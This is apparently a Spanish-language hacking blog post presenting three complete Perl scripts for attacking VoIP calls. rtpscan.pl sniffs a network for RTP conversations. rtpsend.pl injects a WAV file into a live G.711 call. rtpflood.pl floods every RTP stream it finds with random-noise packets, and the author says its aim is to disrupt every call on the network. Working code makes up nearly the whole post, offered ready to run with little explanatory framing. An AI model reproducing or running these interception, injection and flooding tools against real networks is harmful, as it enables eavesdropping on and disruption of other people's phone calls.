Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme) y bueno, esta vez toca hablar sobre VoIP.
No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.
Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.
En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.
Comencemos …
rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:
#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz
use strict;
use Net::Pcap;
use Getopt::Long;
my @src;
my @dst;
# Do no buffering - flushing output directly
$|=1;
#declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;
# Declarations of global variables
my $g_pcap_err = '';
my $interface='';
my $g_cap_descrip;
# Trapping Signal "INT" like ctrl+c for cleanup first.
$SIG{INT} = \&f_probe_ctrl_c;
sub init() {
if ($^O =~ /Win/) {system("cls");}else{system("clear");}
# check params
my $result = GetOptions ("i=s" => \$interface);
help() if ($interface eq "");
f_probe_pcapinit;
}
sub f_probe_pcapinit{
if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err))
{
# Initiate endless packet gathering.
Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
}
else
{
print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n";
exit;
}
};
sub f_probe_read80211b_func {
my($data, $header, $packet) = @_;
$data = unpack ('H*',$packet);
if (isrtp($data) && proto($data) eq "17") {
my $new = 1;
my $codec = codec($data);
my $ipsrc = ipsrc($data);
my $ipdst = ipdst($data);
my $portsrc = portsrc($data);
my $portdst = portdst($data);
for (my $i = 0; $i <= $#src; $i++) {
$new = 0 if (($src[$i] eq $ipsrc.":".$portsrc) && ($dst[$i] eq $ipdst.":".$portdst));
$new = 0 if (($src[$i] eq $ipdst.":".$portdst) && ($dst[$i] eq $ipsrc.":".$portsrc));
}
if ($new eq 1) {
print "Protocol: UDP\n";
print "Codec : GSM\n" if ($codec eq "3");
print "Codec : G.711 (u-law)\n" if ($codec eq "0");
print "Codec : G.711 (a-law)\n" if ($codec eq "201" || $codec eq "136");
print "Codec : Speex\n" if ($codec eq "225");
print "Codec : $codec (desconocido)\n" if ($codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225");
print "IP 1 : $ipsrc:$portsrc\n";
print "IP 2 : $ipdst:$portdst\n";
push @src, $ipsrc.":".$portsrc;
push @dst, $ipdst.":".$portdst;
}
}
};
sub ipsrc {
my $data = shift;
$data = substr($data, 52, 8);
my $v1 = hex(substr($data, 0 , 2));
my $v2 = hex(substr($data, 2 , 2));
my $v3 = hex(substr($data, 4 , 2));
my $v4 = hex(substr($data, 6 , 2));
return $v1.".".$v2.".".$v3.".".$v4;
};
sub ipdst {
my $data = shift;
$data = substr($data, 60, 8);
my $v1 = hex(substr($data, 0 , 2));
my $v2 = hex(substr($data, 2 , 2));
my $v3 = hex(substr($data, 4 , 2));
my $v4 = hex(substr($data, 6 , 2));
return $v1.".".$v2.".".$v3.".".$v4;
};
sub portsrc {
my $data = shift;
$data = substr($data, 68, 4);
return hex($data);
};
sub portdst {
my $data = shift;
$data = substr($data, 72, 4);
return hex($data);
};
sub proto {
my $data = shift;
$data = substr($data, 46, 2);
return hex($data);
};
sub isrtp {
my $data = shift;
$data = substr($data, 84, 2);
return 1 if ($data eq "80");
return 0;
};
sub codec {
my $data = shift;
$data = substr($data, 86, 2);
return hex($data);
};
sub f_probe_ctrl_c {
# Checks if there is a open pcap handle and closes it first.
if ($g_cap_descrip)
{
Net::Pcap::close ($g_cap_descrip);
print "\nClosed the pcap allready, the program exits now.\n";
}
};
sub help {
print qq{
Usage: $0 -i <interface>
};
exit 1;
}
init();
rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):
#!/usr/bin/perl
# rtptools: http://www.cs.columbia.edu/irt/software/rtptools/
use Net::RTP;
use Time::HiRes qw/ usleep /;
use strict;
my $DEFAULT_PORT = 5004; # Default RTP port
my $DEFAULT_TTL = 2; # Default Time-to-live
my $PAYLOAD_TYPE = 0; # u-law
my $PAYLOAD_SIZE = 160; # 160 samples per packet
# Get the command line parameters
my ($filename, $address, $port, $ttl ) = @ARGV;
usage() unless (defined $filename);
usage() unless (defined $address);
$port=$DEFAULT_PORT unless (defined $port);
$ttl=$DEFAULT_TTL unless (defined $ttl);
print "Input Filename: $filename\n";
print "Remote Address: $address\n";
print "Remote Port: $port\n";
print "Multicast TTL: $ttl\n";
print "Payload type: $PAYLOAD_TYPE\n";
print "Payload size: $PAYLOAD_SIZE bytes\n";
# Create RTP socket
my $rtp = new Net::RTP(
PeerPort=>$port,
PeerAddr=>$address,
) || die "Failed to create RTP socket: $!";
# Set the TTL
if ($rtp->superclass() =~ /Multicast/) {
$rtp->mcast_ttl( $ttl );
}
# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet->payload_type( $PAYLOAD_TYPE );
while(1) {
# Open the input file (via sox)
open(PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |")
or die "Failed to open input file: $!";
my $data;
while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) {
# Set payload, and increment sequence number and timestamp
$packet->payload($data);
$packet->seq_num_increment();
$packet->timestamp_increment( $PAYLOAD_SIZE );
my $sent = $rtp->send( $packet );
#print "Sent $sent bytes.\n";
# This isn't a very good way of timing it
# but it kinda works
usleep( 1000000 * $PAYLOAD_SIZE / 8000 );
}
close( PCMU );
}
sub usage {
print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n";
exit -1;
}
Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:
#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/
# and
# remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz
use strict;
use Net::Pcap;
use threads;
use threads::shared;
use Net::RTP;
use Time::HiRes qw/ usleep /;
use Getopt::Long;
my @src;
my @dst;
my $PAYLOAD_SIZE = 160;
my $ttl = 2;
my $maxthreads = 300;
my $threads : shared = 0;
my $interface = '';
my $v = 0;
my $g_pcap_err = '';
my $g_cap_descrip;
sub init() {
if ($^O =~ /Win/) {system("cls");}else{system("clear");}
# check params
my $result = GetOptions ("i=s" => \$interface,
"v+" => \$v);
help() if ($interface eq "");
if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) {
Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
}
else {
print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err.";
print "\nAre you root?\n";
exit;
}
}
sub f_probe_read80211b_func {
my($data, $header, $packet) = @_;
$data = unpack ('H*',$packet);
if (isrtp($data) && proto($data) eq "17") {
my $codec = codec($data);
my $ipsrc = ipsrc($data);
my $ipdst = ipdst($data);
my $portsrc = portsrc($data);
my $portdst = portdst($data);
if ($threads <= $maxthreads) {
my $thr = threads->new(\&flood, $ipsrc, $portsrc, $codec);
$thr->detach();
$thr = threads->new(\&flood, $ipdst, $portdst, $codec);
$thr->detach();
}
}
};
sub flood {
my $address = shift;
my $port = shift;
my $payload = shift;
{lock($threads);$threads++;}
if ($v eq "1") {
print "Flooding host: $address \tPort: $port/UDP \tCodec: ";
print "GSM \n" if ($payload eq "3");
print "G.711 \n" if ($payload eq "0");
}
# Create RTP socket
my $rtp = new Net::RTP(
PeerPort=>$port,
PeerAddr=>$address,
) || die "Failed to create RTP socket: $!";
# Set the TTL
if ($rtp->superclass() =~ /Multicast/) {
$rtp->mcast_ttl( $ttl );
}
# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet->payload_type( $payload );
for (my $i = 0; $i < 100; $i++) {
my $data;
for (my $i = 0; $i < $PAYLOAD_SIZE; $i++) {
my $rnd = rand(255);
$data .= hex($rnd);
}
$packet->payload($data);
$packet->seq_num_increment();
$packet->timestamp_increment( $PAYLOAD_SIZE );
$rtp->send( $packet );
close( PCMU );
}
{lock($threads);$threads--;}
}
sub ipsrc {
my $data = shift;
$data = substr($data, 52, 8);
my $v1 = hex(substr($data, 0 , 2));
my $v2 = hex(substr($data, 2 , 2));
my $v3 = hex(substr($data, 4 , 2));
my $v4 = hex(substr($data, 6 , 2));
return $v1.".".$v2.".".$v3.".".$v4;
};
sub ipdst {
my $data = shift;
$data = substr($data, 60, 8);
my $v1 = hex(substr($data, 0 , 2));
my $v2 = hex(substr($data, 2 , 2));
my $v3 = hex(substr($data, 4 , 2));
my $v4 = hex(substr($data, 6 , 2));
return $v1.".".$v2.".".$v3.".".$v4;
};
sub portsrc {
my $data = shift;
$data = substr($data, 68, 4);
return hex($data);
};
sub portdst {
my $data = shift;
$data = substr($data, 72, 4);
return hex($data);
};
sub proto {
my $data = shift;
$data = substr($data, 46, 2);
return hex($data);
};
sub isrtp {
my $data = shift;
$data = substr($data, 84, 2);
return 1 if ($data eq "80");
return 0;
};
sub codec {
my $data = shift;
$data = substr($data, 86, 2);
return hex($data);
};
sub help {
print qq{
Usage: $0 -i <interface> [options]
== Options ==
-v = Verbose mode
== Examples ==
\$$0 -i eth0
\$$0 -i wlan0 -v
};
exit 1;
}
init();
El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.
Saludos
Follow